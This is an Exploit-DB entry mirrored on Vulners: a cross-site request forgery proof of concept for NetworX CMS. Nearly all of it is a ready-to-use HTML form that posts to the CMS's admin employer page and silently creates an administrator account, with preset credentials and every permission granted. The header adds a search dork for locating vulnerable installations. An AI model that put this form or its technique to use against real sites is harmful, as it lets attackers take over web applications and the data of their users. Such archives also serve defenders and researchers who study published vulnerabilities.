Lucene search
K

NetworX CMS - Cross-Site Request Forgery (Add Admin)

🗓️ 15 Apr 2012 00:00:00Reported by N3t.Crack3rType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 23 Views

NetworX CMS - CSRF Add Admin vulnerability, allows an attacker to add admin without permission through a crafted HTTP request

Code
# Exploit Title: NetworX CMS - CSRF Add Admin
# Date: 15-April-2012
# Author: N3t.Crack3r
# Software Link: http://www.socialabc.com/downloads/networx-social/
# Version: All Version
# Category:: [Webapps]
# Google dork: powered by networx
# Tested on: [Ubuntu]
# Demo site: http://www.socialabc.com/demo/

<!-- 
//================================================================================

  ___ ___                __            _______                        
 /   |   \_____    ____ |  | ____  _  _\   _  \_______  _____   ______
/    ~    \__  \ _/ ___\|  |/ /\ \/ \/ /  /_\  \_  __ \/     \ /  ___/
\    Y    // __ \\  \___|    <  \     /\  \_/   \  | \/  Y Y  \\___ \ 
 \___|_  /(____  /\___  >__|_ \  \/\_/  \_____  /__|  |__|_|  /____  >
       \/      \/     \/     \/               \/            \/     \/ 


Greets : Sho0ter  , Net_spy , khanisgr8 , CROSS & All Hackw0rms Crew / Members
================================================================================

// Login info : Email : [email protected] pass:t00r

# root@SecBoX:~# cat poc.php -->
<html>
<head>
	<script language="javascript">
		function country_changed()
			{
    			document.getElementById('hdnSubmited').value = 'change_country';
    			document.getElementById('frmMain').submit();
			}
	</script>
</head>
<form action="http://<!----- REPLACE HEAR WITH URL ---->/admin/employer.php" form method="post" id="frmMain">
<input type="hidden" name="submited" value="save" id="hdnSubmited">
<br>
<p class="text_14 bold" align="center">NetworX CSRF - Add Admin</p>
	<table cellpadding="5" border="0">
		<tr>
			<td align="right" class="text_12">Email:</td>
			<td colspan="3">
			 	<input type="text" name="UserEmail" value="[email protected]">
			</td>
		</tr>
		<tr>
			<td align="right" class="text_12">Password:</td>
			<td colspan="3">
			 	<input type="password" name="Password" value="t00r">
			</td>
		</tr>
		<tr>
			<td align="right" class="text_12">First Name:</td>
			<td><input type="text" name="UserFirstname" value="Hack" class="t_box" style="width:150px;"></td>
			<td align="right" class="text_12">Last Name:</td>
			<td><input type="text" name="UserLastname" value="W0rm" class="t_box" style="width:150px;"></td>
		</tr>
		<tr>
			<td align="right" class="text_12">Country:</td>
			<td colspan="3">
			 	<select name="UserCountry" onchange="country_changed()">
			 		<option value="{ID}" {selected}>United state of Islam</option>
			 	</select>
			</td>
		</tr>
		<tr>
			<td align="right" class="text_12">Address:</td>
			<td colspan="3">
				<input type="text" name="UserAddress1" value="69 1337 st" class="t_box" style="width:400px;">
			</td>
		</tr>
		<tr>
			<td align="right" class="text_12">City / Town:</td>
			<td colspan="3">
				<input type="text" name="UserCity" value="system32" class="t_box" style="width:200px;">
			</td>
		</tr>
		<tr>
			<td align="right" class="text_12">State / Province:</td>
			<td>
				<select name="UserState" class="t_box" style="width:100px;">
			 		<option value="{ID}" {selected}>LA</option>
				</select>
			</td>
			<td align="right" class="text_12">Zip Code:</td>
			<td><input type="text" name="UserZip" value="31337" class="t_box" style="width:100px;"></td>
		</tr>
		<tr>
			<td align="right" class="text_12">Contact Phone:</td>
			<td colspan="3">
				<input type="text" name="UserPhone" value="691337" class="t_box" style="width:200px;">
			</td>
		</tr>
   		<tr>
   			<td rowspan="10" valign="top" align="http://<!----- REPLACE HEAR WITH URL ---->/admin/employer.php" class="text_12">Permissions:</td>
				<td><input type="checkbox" name="UserPermissions[]" value="1" class="t_box" checked="checked" func_if_true({PermissionCustomers}, 'checked')> User Management Tool</td>
		</tr>
   		<tr>
			<td><input type="checkbox" name="UserPermissions[]" value="2" class="t_box" checked="checked" func_if_true({PermissionContent}, 'checked')> Content Management Tool</td>
		</tr>
   		<tr>
			<td><input type="checkbox" name="UserPermissions[]" value="4" class="t_box" checked="checked" func_if_true({PermissionStatistics}, 'checked')> Statistics and Reports</td>
		</tr>
   		<tr>
			<td><input type="checkbox" name="UserPermissions[]" value="32" class="t_box" checked="checked" func_if_true({PermissionReports}, 'checked')> Complaint and Report Tool</td>
		</tr>
	</table>
   <br>

   <!-- buttons start -->
   <table width="100%" cellpadding="5" border="0">
   		<tr>
   			<td width="80"> </td>
			<td align="right">
   				<input type="submit" name="Save" value="Save" style="width:80px;">
			</td>
   		</tr>
	</table>
</form>
</html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Apr 2012 00:00Current
7.4High risk
Vulners AI Score7.4
23